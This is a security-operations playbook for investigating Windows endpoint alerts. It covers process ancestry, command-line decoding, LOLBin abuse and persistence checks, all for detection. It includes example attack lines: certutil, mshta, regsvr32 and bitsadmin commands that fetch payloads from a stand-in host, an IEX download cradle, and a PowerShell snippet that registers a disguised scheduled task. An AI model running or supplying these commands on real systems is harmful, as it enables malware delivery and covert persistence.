Endpoint Playbook — Process Ancestry, LOLBins, and Persistence

Endpoint alerts are the most common alert class in most enterprise SOCs, and the most complex to investigate well. The key skill is reading the process tree — understanding what spawned what, in what order, from what path, with what arguments.

The Endpoint Pivot Chain

Every endpoint investigation follows this sequence. Some steps will be irrelevant (no network connection, no file drops) — document those as findings too (“no lateral connections observed”).

1. Read alert (what rule, which process, what user, which host)
2. Known FP check
3. Enrich (user role, host criticality, asset context)
4. Parent process chain
5. Child processes
6. Command-line analysis (decode if encoded)
7. Network connections from this process
8. File writes / drops
9. Registry modifications
10. Persistence mechanisms check
11. Lateral scope (did this host touch others?)

Step 4: Parent Process Chain

The highest-signal parent-child anomalies:

Child Process	Suspicious Parent	Why Suspicious
`powershell.exe`	`winword.exe`, `excel.exe`, `outlook.exe`	Office macro execution (T1566.001 + T1059.001)
`cmd.exe`	`winword.exe`, `excel.exe`	Document-embedded command execution
`wscript.exe`	`winword.exe`, `excel.exe`	VBS/JScript macro abuse
`mshta.exe`	any Office app	HTML Application execution from document
`regsvr32.exe`	`winword.exe`, `cmd.exe`	Squiblydoo technique — unsigned COM execution
`certutil.exe`	`powershell.exe`	Download and decode (T1105 + T1140)
`powershell.exe`	`rundll32.exe`	DLL-side loaded PowerShell
`cmd.exe`	`services.exe`	Service executing a cmd shell — rare and suspicious

Step 6: Command-Line Analysis

The command line is the most information-dense field in an endpoint alert. Learn to read it.

Encoded commands

PowerShell encodes commands with -EncodedCommand (or -enc, -e):

powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0A...

Decode: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABj...'))

Or use CyberChef: “From Base64” → “Decode text (UTF-16LE)”.

Always decode before forming a hypothesis. The encoded string is the attacker hiding the payload.

Common obfuscation patterns

Pattern	What it hides	Example
`-enc` / `-EncodedCommand`	Full PowerShell script	`powershell -enc JABj...`
String concatenation	Binary path or URL	`"po"+"wershell"`
Character substitution	Bypasses string-match	`^c^md /c whoami`
Environment variable	Path to executable	`%COMSPEC% /c whoami`
Alternate data stream	Hidden payload	`certutil -decode payload.txt:hidden.exe`
`IEX` / `Invoke-Expression`	Executes downloaded code	`IEX (New-Object Net.WebClient).DownloadString(...)`

LOLBAS patterns to memorize

# certutil — download
certutil.exe -urlcache -split -f http://evil.com/payload.exe C:\Temp\payload.exe

# mshta — execute remote HTA
mshta.exe http://evil.com/payload.hta

# regsvr32 — squiblydoo
regsvr32.exe /u /s /i:http://evil.com/payload.sct scrobj.dll

# bitsadmin — download
bitsadmin /transfer myJob http://evil.com/payload.exe C:\Temp\payload.exe

# wscript — execute script
wscript.exe //B //NoLogo C:\Temp\payload.vbs

LOLBAS Project — Living off the Land Binaries and Scripts— LOLBAS Community

Steps 9–10: Persistence Mechanisms

Once you’ve confirmed a TP or have a strong TP hypothesis, check persistence — attackers rarely want their access to end when the session does.

Windows persistence locations (by frequency in the wild)

Mechanism	Registry path / Location	Detection
Run key	`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`	Sysmon Event 13 (RegistryValue Set)
Scheduled task	`C:\Windows\System32\Tasks\`	EVTX 4698, Sysmon 1 (`schtasks /create`)
Service	`HKLM\SYSTEM\CurrentControlSet\Services\`	EVTX 7045 (new service installed)
Startup folder	`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\`	Sysmon 11 (file created)
WMI subscription	WMI root\subscription namespace	Sysmon 19, 20, 21
DLL hijacking	Application directory with missing DLL	Sysmon 7 (image loaded)

Worked Example

Persistence pivot — from PowerShell to scheduled task

Alert: PowerShell with encoded command on CORP-PC-018.

Decoded command reveals:

$action = New-ScheduledTaskAction -Execute 'C:\Users\jdoe\AppData\Roaming\svchost.exe'
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -RunLevel Highest

What this tells you:

The attacker dropped svchost.exe in the user’s AppData (not System32 — a masquerading red flag)
They scheduled it to run at logon with elevated privileges
The task is named ‘WindowsUpdate’ to blend in

Next pivots:

EVTX 4698: did a new scheduled task appear? Confirm the name and action
Sysmon 11: was svchost.exe written to %APPDATA% before this?
Hash the dropped file → VirusTotal
Check if the scheduled task fired already (Sysmon 1 for svchost.exe from AppData)

Putting It Together: Disposition Format

After completing the endpoint playbook, your disposition should answer:

What process, on what host, with what command?
What was the parent? Is the relationship suspicious?
What did the command actually do? (decoded)
Did it make any network connections? To what?
Did it drop or modify files?
Did it establish persistence?
Has it touched other hosts?
ATT&CK techniques:
Disposition and next action: